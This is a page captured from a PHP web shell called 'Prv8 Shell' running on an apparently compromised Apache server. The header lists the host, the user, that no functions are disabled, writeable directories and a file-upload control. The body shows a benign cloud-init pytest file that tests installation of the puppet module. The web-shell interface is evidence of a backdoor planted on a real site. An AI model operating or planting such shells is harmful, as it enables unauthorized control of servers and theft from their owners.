Prv8 Shell
Server : Apache
System : Linux server.mata-lashes.com 3.10.0-1160.90.1.el7.x86_64 #1 SMP Thu May 4 15:21:22 UTC 2023 x86_64
User : matalashes ( 1004)
PHP Version : 8.1.29
Disable Function : NONE
Directory :  /usr/src/cloud-init/tests/integration_tests/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/src/cloud-init/tests/integration_tests/modules/test_puppet.py
"""Test installation configuration of puppet module."""
import pytest

from tests.integration_tests.instances import IntegrationInstance
from tests.integration_tests.util import verify_clean_log

SERVICE_DATA = """\
#cloud-config
puppet:
  install: true
  install_type: packages
"""


@pytest.mark.user_data(SERVICE_DATA)
def test_puppet_service(client: IntegrationInstance):
    """Basic test that puppet gets installed and runs."""
    log = client.read_from_file("/var/log/cloud-init.log")
    verify_clean_log(log)
    puppet_ok = client.execute("systemctl is-active puppet.service").ok
    puppet_agent_ok = client.execute(
        "systemctl is-active puppet-agent.service"
    ).ok
    assert True in [puppet_ok, puppet_agent_ok]
    assert False in [puppet_ok, puppet_agent_ok]
    assert "Running command ['puppet', 'agent'" not in log


EXEC_DATA = """\
#cloud-config
puppet:
  install: true
  install_type: packages
  exec: true
  exec_args: ['--noop']
"""


@pytest.mark.user_data
@pytest.mark.user_data(EXEC_DATA)
def test_pupet_exec(client: IntegrationInstance):
    """Basic test that puppet gets installed and runs."""
    log = client.read_from_file("/var/log/cloud-init.log")
    assert "Running command ['puppet', 'agent', '--noop']" in log

haha - 2025